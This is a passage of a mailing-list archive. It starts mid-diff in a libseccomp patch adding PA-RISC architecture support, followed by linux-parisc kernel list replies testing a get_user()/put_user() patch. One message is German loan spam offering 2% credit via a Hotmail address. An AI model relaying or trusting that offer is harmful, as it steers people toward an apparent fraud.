+	{ "vfork",	(__NR_Linux + 113) },
+	{ "vhangup",	(__NR_Linux + 111) },
+	{ "vmsplice",	(__NR_Linux + 294) },
+	{ "vserver",	(__NR_Linux + 263) },
+	{ "wait4",	(__NR_Linux + 114) },
+	{ "waitid",	(__NR_Linux + 235) },
+	{ "waitpid",	(__NR_Linux + 7) },
+	{ "write",	(__NR_Linux + 4) },
+	{ "writev",	(__NR_Linux + 146) },
+	{ NULL, __NR_SCMP_ERROR },
+};
+
+/**
+ * Resolve a syscall name to a number
+ * @param name the syscall name
+ *
+ * Resolve the given syscall name to the syscall number using the syscall table.
+ * Returns the syscall number on success, including negative pseudo syscall
+ * numbers; returns __NR_SCMP_ERROR on failure.
+ *
+ */
+int parisc_syscall_resolve_name(const char *name)
+{
+	unsigned int iter;
+	const struct arch_syscall_def *table = parisc_syscall_table;
+
+	/* XXX - plenty of room for future improvement here */
+	for (iter = 0; table[iter].name != NULL; iter++) {
+		if (strcmp(name, table[iter].name) == 0)
+			return table[iter].num;
+	}
+
+	return __NR_SCMP_ERROR;
+}
+
+/**
+ * Resolve a syscall number to a name
+ * @param num the syscall number
+ *
+ * Resolve the given syscall number to the syscall name using the syscall table.
+ * Returns a pointer to the syscall name string on success, including pseudo
+ * syscall names; returns NULL on failure.
+ *
+ */
+const char *parisc_syscall_resolve_num(int num)
+{
+	unsigned int iter;
+	const struct arch_syscall_def *table = parisc_syscall_table;
+
+	/* XXX - plenty of room for future improvement here */
+	for (iter = 0; table[iter].num != __NR_SCMP_ERROR; iter++) {
+		if (num == table[iter].num)
+			return table[iter].name;
+	}
+
+	return NULL;
+}
+
+/**
+ * Iterate through the syscall table and return the syscall name
+ * @param spot the offset into the syscall table
+ *
+ * Return the syscall name at position @spot or NULL on failure.  This function
+ * should only ever be used internally by libseccomp.
+ *
+ */
+const char *parisc_syscall_iterate_name(unsigned int spot)
+{
+	/* XXX - no safety checks here */
+	return parisc_syscall_table[spot].name;
+}
diff --git a/src/arch-parisc.c b/src/arch-parisc.c
new file mode 100644
index 0000000..6407f8a
--- /dev/null
+++ b/src/arch-parisc.c
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2016
+ * Author: Helge Deller <deller@gmx.de>
+ */
+
+#include <stdlib.h>
+#include <errno.h>
+#include <linux/audit.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+const struct arch_def arch_def_parisc = {
+	.token = SCMP_ARCH_PARISC,
+	.token_bpf = AUDIT_ARCH_PARISC,
+	.size = ARCH_SIZE_32,
+	.endian = ARCH_ENDIAN_BIG,
+	.syscall_resolve_name = parisc_syscall_resolve_name,
+	.syscall_resolve_num = parisc_syscall_resolve_num,
+	.syscall_rewrite = NULL,
+	.rule_add = NULL,
+};
diff --git a/src/arch-parisc.h b/src/arch-parisc.h
new file mode 100644
index 0000000..b9fe1df
--- /dev/null
+++ b/src/arch-parisc.h
@@ -0,0 +1,38 @@
+/**
+ * Enhanced Seccomp PARISC Specific Code
+ *
+ * Copyright (c) 2016 Helge Deller <deller@gmx.de>
+ *
+ */
+
+/*
+ * This library is free software; you can redistribute it and/or modify it
+ * under the terms of version 2.1 of the GNU Lesser General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License
+ * for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this library; if not, see <http://www.gnu.org/licenses>.
+ */
+
+#ifndef _ARCH_PARISC_H
+#define _ARCH_PARISC_H
+
+#include <inttypes.h>
+
+#include "arch.h"
+#include "system.h"
+
+extern const struct arch_def arch_def_parisc;
+extern const struct arch_def arch_def_parisc64;
+
+int parisc_syscall_resolve_name(const char *name);
+const char *parisc_syscall_resolve_num(int num);
+
+const char *parisc_syscall_iterate_name(unsigned int spot);
+
+#endif
diff --git a/src/arch-parisc64.c b/src/arch-parisc64.c
new file mode 100644
index 0000000..b75a182
--- /dev/null
+++ b/src/arch-parisc64.c
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2016
+ * Author: Helge Deller <deller@gmx.de>
+*/
+
+#include <stdlib.h>
+#include <errno.h>
+#include <linux/audit.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+const struct arch_def arch_def_parisc64 = {
+	.token = SCMP_ARCH_PARISC64,
+	.token_bpf = AUDIT_ARCH_PARISC64,
+	.size = ARCH_SIZE_64,
+	.endian = ARCH_ENDIAN_BIG,
+	.syscall_resolve_name = parisc_syscall_resolve_name,
+	.syscall_resolve_num = parisc_syscall_resolve_num,
+	.syscall_rewrite = NULL,
+	.rule_add = NULL,
+};
diff --git a/src/arch-syscall-dump.c b/src/arch-syscall-dump.c
index 636fd9a..c95b899 100644
--- a/src/arch-syscall-dump.c
+++ b/src/arch-syscall-dump.c
@@ -38,6 +38,7 @@
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
 #include "arch-aarch64.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -116,6 +117,10 @@ int main(int argc, char *argv[])
 		case SCMP_ARCH_MIPSEL64N32:
 			sys_name = mips64n32_syscall_iterate_name(iter);
 			break;
+		case SCMP_ARCH_PARISC:
+		case SCMP_ARCH_PARISC64:
+			sys_name = parisc_syscall_iterate_name(iter);
+			break;
 		case SCMP_ARCH_PPC:
 			sys_name = ppc_syscall_iterate_name(iter);
 			break;
diff --git a/src/arch.c b/src/arch.c
index 0f24d1c..f5a898d 100644
--- a/src/arch.c
+++ b/src/arch.c
@@ -38,6 +38,7 @@
 #include "arch-mips.h"
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -79,6 +80,10 @@ const struct arch_def *arch_def_native = &arch_def_mips64n32;
 #elif __MIPSEL__
 const struct arch_def *arch_def_native = &arch_def_mipsel64n32;
 #endif /* _MIPS_SIM_NABI32 */
+#elif __hppa64__ /* hppa64 must be checked before hppa */
+const struct arch_def *arch_def_native = &arch_def_parisc64;
+#elif __hppa__
+const struct arch_def *arch_def_native = &arch_def_parisc;
 #elif __PPC64__
 #ifdef __BIG_ENDIAN__
 const struct arch_def *arch_def_native = &arch_def_ppc64;
@@ -139,6 +144,10 @@ const struct arch_def *arch_def_lookup(uint32_t token)
 		return &arch_def_mips64n32;
 	case SCMP_ARCH_MIPSEL64N32:
 		return &arch_def_mipsel64n32;
+	case SCMP_ARCH_PARISC:
+		return &arch_def_parisc;
+	case SCMP_ARCH_PARISC64:
+		return &arch_def_parisc64;
 	case SCMP_ARCH_PPC:
 		return &arch_def_ppc;
 	case SCMP_ARCH_PPC64:
@@ -185,6 +194,10 @@ const struct arch_def *arch_def_lookup_name(const char *arch_name)
 		return &arch_def_mips64n32;
 	else if (strcmp(arch_name, "mipsel64n32") == 0)
 		return &arch_def_mipsel64n32;
+	else if (strcmp(arch_name, "parisc64") == 0)
+		return &arch_def_parisc64;
+	else if (strcmp(arch_name, "parisc") == 0)
+		return &arch_def_parisc;
 	else if (strcmp(arch_name, "ppc") == 0)
 		return &arch_def_ppc;
 	else if (strcmp(arch_name, "ppc64") == 0)
diff --git a/src/gen_pfc.c b/src/gen_pfc.c
index 99c3297..b9c122e 100644
--- a/src/gen_pfc.c
+++ b/src/gen_pfc.c
@@ -71,6 +71,10 @@ static const char *_pfc_arch(const struct arch_def *arch)
 		return "mips64n32";
 	case SCMP_ARCH_MIPSEL64N32:
 		return "mipsel64n32";
+	case SCMP_ARCH_PARISC:
+		return "parisc";
+	case SCMP_ARCH_PARISC64:
+		return "parisc64";
 	case SCMP_ARCH_PPC64:
 		return "ppc64";
 	case SCMP_ARCH_PPC64LE:
diff --git a/src/python/libseccomp.pxd b/src/python/libseccomp.pxd
index 15c94f8..500da15 100644
--- a/src/python/libseccomp.pxd
+++ b/src/python/libseccomp.pxd
@@ -43,6 +43,8 @@ cdef extern from "seccomp.h":
         SCMP_ARCH_MIPSEL
         SCMP_ARCH_MIPSEL64
         SCMP_ARCH_MIPSEL64N32
+        SCMP_ARCH_PARISC
+        SCMP_ARCH_PARISC64
         SCMP_ARCH_PPC
         SCMP_ARCH_PPC64
         SCMP_ARCH_PPC64LE
diff --git a/src/python/seccomp.pyx b/src/python/seccomp.pyx
index c87bc3f..cb17642 100644
--- a/src/python/seccomp.pyx
+++ b/src/python/seccomp.pyx
@@ -147,6 +147,8 @@ cdef class Arch:
     MIPSEL - MIPS little endian O32 ABI
     MIPSEL64 - MIPS little endian 64-bit ABI
     MIPSEL64N32 - MIPS little endian N32 ABI
+    PARISC - 32-bit PA-RISC
+    PARISC64 - 64-bit PA-RISC
     PPC64 - 64-bit PowerPC
     PPC - 32-bit PowerPC
     """
@@ -165,6 +167,8 @@ cdef class Arch:
     MIPSEL = libseccomp.SCMP_ARCH_MIPSEL
     MIPSEL64 = libseccomp.SCMP_ARCH_MIPSEL64
     MIPSEL64N32 = libseccomp.SCMP_ARCH_MIPSEL64N32
+    PARISC = libseccomp.SCMP_ARCH_PARISC
+    PARISC64 = libseccomp.SCMP_ARCH_PARISC64
     PPC = libseccomp.SCMP_ARCH_PPC
     PPC64 = libseccomp.SCMP_ARCH_PPC64
     PPC64LE = libseccomp.SCMP_ARCH_PPC64LE
@@ -205,6 +209,10 @@ cdef class Arch:
                 self._token = libseccomp.SCMP_ARCH_MIPSEL64
             elif arch == libseccomp.SCMP_ARCH_MIPSEL64N32:
                 self._token = libseccomp.SCMP_ARCH_MIPSEL64N32
+            elif arch == libseccomp.SCMP_ARCH_PARISC:
+                self._token = libseccomp.SCMP_ARCH_PARISC
+            elif arch == libseccomp.SCMP_ARCH_PARISC64:
+                self._token = libseccomp.SCMP_ARCH_PARISC64
             elif arch == libseccomp.SCMP_ARCH_PPC:
                 self._token = libseccomp.SCMP_ARCH_PPC
             elif arch == libseccomp.SCMP_ARCH_PPC64:
diff --git a/tests/26-sim-arch_all_be_basic.c b/tests/26-sim-arch_all_be_basic.c
index d2c191c..d31ce12 100644
--- a/tests/26-sim-arch_all_be_basic.c
+++ b/tests/26-sim-arch_all_be_basic.c
@@ -52,6 +52,12 @@ int main(int argc, char *argv[])
 	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("mips64n32"));
 	if (rc != 0)
 		goto out;
+	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc"));
+	if (rc != 0)
+		goto out;
+	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc64"));
+	if (rc != 0)
+		goto out;
 	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("ppc"));
 	if (rc != 0)
 		goto out;
diff --git a/tests/26-sim-arch_all_be_basic.py b/tests/26-sim-arch_all_be_basic.py
index b0b660a..3a177b4 100755
--- a/tests/26-sim-arch_all_be_basic.py
+++ b/tests/26-sim-arch_all_be_basic.py
@@ -33,6 +33,8 @@ def test(args):
     f.add_arch(Arch("mips"))
     f.add_arch(Arch("mips64"))
     f.add_arch(Arch("mips64n32"))
+    f.add_arch(Arch("parisc"))
+    f.add_arch(Arch("parisc64"))
     f.add_arch(Arch("ppc"))
     f.add_arch(Arch("ppc64"))
     f.add_arch(Arch("s390"))
diff --git a/tests/regression b/tests/regression
index 53d26b2..b56b9c3 100755
--- a/tests/regression
+++ b/tests/regression
@@ -28,6 +28,7 @@ GLBL_ARCH_LE_SUPPORT=" \
 	ppc64le"
 GLBL_ARCH_BE_SUPPORT=" \
 	mips mips64 mips64n32 \
+	parisc parisc64 \
 	ppc ppc64 \
 	s390 s390x"
 
@@ -701,7 +702,7 @@ function run_test_live() {
 
 	# setup the arch specific return values
 	case "$arch" in
-	x86|x86_64|x32|arm|aarch64|ppc|ppc64|ppc64le|ppc|s390|s390x)
+	x86|x86_64|x32|arm|aarch64|parisc|parisc64|ppc|ppc64|ppc64le|ppc|s390|s390x)
 		rc_kill=159
 		rc_allow=160
 		rc_trap=161
@@ -772,6 +773,7 @@ function run_test() {
 		if check_deps valgrind; then
 			run_test_bpf_valgrind "$testnumstr" "$3"
 		else
+			print_result $testnumstr "SKIPPED" "valgrind not installed"
 			stats_skipped=$(($stats_skipped+1))
 		fi
 	elif [[ "$4" == "live" ]]; then
diff --git a/tools/scmp_arch_detect.c b/tools/scmp_arch_detect.c
index 4b452d1..ad43f2d 100644
--- a/tools/scmp_arch_detect.c
+++ b/tools/scmp_arch_detect.c
@@ -99,6 +99,12 @@ int main(int argc, char *argv[])
 		case SCMP_ARCH_MIPSEL64N32:
 			printf("mipsel64n32\n");
 			break;
+		case SCMP_ARCH_PARISC:
+			printf("parisc\n");
+			break;
+		case SCMP_ARCH_PARISC64:
+			printf("parisc64\n");
+			break;
 		case SCMP_ARCH_PPC:
 			printf("ppc\n");
 			break;
diff --git a/tools/scmp_bpf_sim.c b/tools/scmp_bpf_sim.c
index a0cf6d1..3d3204a 100644
--- a/tools/scmp_bpf_sim.c
+++ b/tools/scmp_bpf_sim.c
@@ -265,6 +265,10 @@ int main(int argc, char *argv[])
 				arch = AUDIT_ARCH_MIPS64N32;
 			else if (strcmp(optarg, "mipsel64n32") == 0)
 				arch = AUDIT_ARCH_MIPSEL64N32;
+			else if (strcmp(optarg, "parisc") == 0)
+				arch = AUDIT_ARCH_PARISC;
+			else if (strcmp(optarg, "parisc64") == 0)
+				arch = AUDIT_ARCH_PARISC64;
 			else if (strcmp(optarg, "ppc") == 0)
 				arch = AUDIT_ARCH_PPC;
 			else if (strcmp(optarg, "ppc64") == 0)
diff --git a/tools/util.c b/tools/util.c
index cc48647..7122335 100644
--- a/tools/util.c
+++ b/tools/util.c
@@ -62,6 +62,10 @@
 #elif __MIPSEL__
 #define ARCH_NATIVE		AUDIT_ARCH_MIPSEL64N32
 #endif /* _MIPS_SIM_NABI32 */
+#elif __hppa64__
+#define ARCH_NATIVE		AUDIT_ARCH_PARISC64
+#elif __hppa__
+#define ARCH_NATIVE		AUDIT_ARCH_PARISC
 #elif __PPC64__
 #ifdef __BIG_ENDIAN__
 #define ARCH_NATIVE		AUDIT_ARCH_PPC64

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: darlehen@info.com
Newsgroups: gmane.linux.ports.parisc
Subject: LOAN
Date: Sat, 09 Apr 2016 03:32:33 +0530
Lines: 6
Approved: news@gmane.org
Message-ID: <20160408220034.1EB463B6C83@bescomm.terengganu.my>
Reply-To: legacyassetgrougp@hotmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1460213508 24374 80.91.229.3 (9 Apr 2016 14:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Apr 2016 14:51:48 +0000 (UTC)
To: Recipients <darlehen@info.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 09 16:51:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aouEk-0006WR-3e
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Apr 2016 16:51:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752063AbcDIOvp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Apr 2016 10:51:45 -0400
Original-Received: from bescomm.terengganu.my ([202.188.29.20]:43280 "EHLO
	bescomm.terengganu.my" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751797AbcDIOvo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Apr 2016 10:51:44 -0400
X-Greylist: delayed 38376 seconds by postgrey-1.27 at vger.kernel.org; Sat, 09 Apr 2016 10:51:43 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by bescomm.terengganu.my (Postfix) with ESMTP id D43AF59A82A;
	Sat,  9 Apr 2016 08:51:03 +0800 (MYT)
X-Virus-Scanned: amavisd-new at bescomm.terengganu.my
Original-Received: from bescomm.terengganu.my ([127.0.0.1])
	by localhost (bescomm.terengganu.my [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Lp++ouZhbnCT; Sat,  9 Apr 2016 08:51:03 +0800 (MYT)
Original-Received: from [100.114.156.24] (unknown [49.202.19.131])
	by bescomm.terengganu.my (Postfix) with ESMTPSA id 1EB463B6C83;
	Sat,  9 Apr 2016 06:00:33 +0800 (MYT)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26611>

Brauchen Sie einen Kredit? Wir bieten Darlehen in 2% gelten heute Kontakt mit uns auf: legacyassetgrougp@hotmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Simplify and speed up get_user() and put_user()
Date: Mon, 11 Apr 2016 08:16:21 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <4798044.iQpCdZPV03@caliban.sf-tec.de>
References: <20160409062614.GA4203@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2472650.7172ac7PuX"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1460355413 13559 80.91.229.3 (11 Apr 2016 06:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Apr 2016 06:16:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 11 08:16:53 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1apV9Y-0003Up-3s
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Apr 2016 08:16:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752033AbcDKGQ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Apr 2016 02:16:27 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:60814 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750718AbcDKGQ0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Apr 2016 02:16:26 -0400
Original-Received: (qmail 13227 invoked from network); 11 Apr 2016 06:16:21 -0000
Original-Received: from dslb-188-096-126-154.188.096.pools.vodafone-ip.de ([::ffff:188.96.126.154]:51148 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 11 Apr 2016 08:16:21 +0200
User-Agent: KMail/4.14.10 (Linux/4.5.0-9.gc3d2a95-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <20160409062614.GA4203@ls3530.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26612
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26612>

--nextPart2472650.7172ac7PuX
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag, 9. April 2016, 08:26:14 schrieb Helge Deller:
> This patch simplifies the code for get_user() and put_user() a lot.
> 
> Instead of accessing kernel memory (%sr0) and userspace memory (%sr3)
> hard-coded in the assembler instruction, we now preload %sr2 with either
> %sr0 (for accessing KERNEL_DS) or with sr3 (to access USER_DS) and
> use %sr2 in the load directly.
> 
> The generated code avoids a branch and speeds up execution by generating
> less assembler instructions.

I have put this on my C3600 (Linux 4.5.0, 32 bit kernel) and I see no negative 
effects.

Eike
--nextPart2472650.7172ac7PuX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlcLQTUACgkQXKSJPmm5/E5LVwCeJYgE3ygwlolXpQUmCLxjE4nF
haUAniHKuBtFENF3OGuCckvEOnWIAuEB
=ROWZ
-----END PGP SIGNATURE-----

--nextPart2472650.7172ac7PuX--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Simplify and speed up get_user() and put_user()
Date: Mon, 11 Apr 2016 09:38:16 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <52a10551454689c5c3af48f7bea788ce@sf-mail.de>
References: <20160409062614.GA4203@ls3530.box>
 <4798044.iQpCdZPV03@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460360303 22370 80.91.229.3 (11 Apr 2016 07:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Apr 2016 07:38:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 11 09:38:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1apWQQ-0008KZ-2v
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Apr 2016 09:38:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751045AbcDKHiV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Apr 2016 03:38:21 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:44704 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750971AbcDKHiU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Apr 2016 03:38:20 -0400
Original-Received: (qmail 23179 invoked from network); 11 Apr 2016 07:38:17 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:58242 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 11 Apr 2016 09:38:17 +0200
In-Reply-To: <4798044.iQpCdZPV03@caliban.sf-tec.de>
X-Sender: eike@sf-mail.de
User-Agent: Roundcube Webmail/1.1.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26613>

Am 2016-04-11 08:16, schrieb Rolf Eike Beer:
> Am Samstag, 9. April 2016, 08:26:14 schrieb Helge Deller:
>> This patch simplifies the code for get_user() and put_user() a lot.
>> 
>> Instead of accessing kernel memory (%sr0) and userspace memory (%sr3)
>> hard-coded in the assembler instruction, we now preload %sr2 with 
>> either
>> %sr0 (for accessing KERNEL_DS) or with sr3 (to access USER_DS) and
>> use %sr2 in the load directly.
>> 
>> The generated code avoids a branch and speeds up execution by 
>> generating
>> less assembler instructions.
> 
> I have put this on my C3600 (Linux 4.5.0, 32 bit kernel) and I see no 
> negative
> effects.

It's not 4.5.0, it's 4.4.6.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Simplify and speed up get_user() and put_user()
Date: Mon, 11 Apr 2016 19:26:02 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <1967628.mnYmdTmhtu@caliban.sf-tec.de>
References: <20160409062614.GA4203@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart4675794.CxtPFjkCRH"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1460395589 29370 80.91.229.3 (11 Apr 2016 17:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Apr 2016 17:26:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 11 19:26:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1apfbI-0000Gm-PS
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Apr 2016 19:26:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754050AbcDKR0M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Apr 2016 13:26:12 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:42682 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753456AbcDKR0L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Apr 2016 13:26:11 -0400
Original-Received: (qmail 5738 invoked from network); 11 Apr 2016 17:26:07 -0000
Original-Received: from dslb-188-096-126-154.188.096.pools.vodafone-ip.de ([::ffff:188.96.126.154]:51334 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 11 Apr 2016 19:26:07 +0200
User-Agent: KMail/4.14.10 (Linux/4.5.0-9.gc3d2a95-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <20160409062614.GA4203@ls3530.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26614>

--nextPart4675794.CxtPFjkCRH
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag, 9. April 2016, 08:26:14 schrieb Helge Deller:
> This patch simplifies the code for get_user() and put_user() a lot.
> 
> Instead of accessing kernel memory (%sr0) and userspace memory (%sr3)
> hard-coded in the assembler instruction, we now preload %sr2 with either
> %sr0 (for accessing KERNEL_DS) or with sr3 (to access USER_DS) and
> use %sr2 in the load directly.
> 
> The generated code avoids a branch and speeds up execution by generating
> less assembler instructions.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Tested-by: Rolf Eike Beer <eike-kernel@sf-tec.de>

Eike
--nextPart4675794.CxtPFjkCRH
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlcL3jAACgkQXKSJPmm5/E7bcgCfTdsqHm4xFukk1+dioJ6gMGat
GDcAnj67xN4sI397c0qdnZtg8qHUHweV
=xQAI
-----END PGP SIGNATURE-----

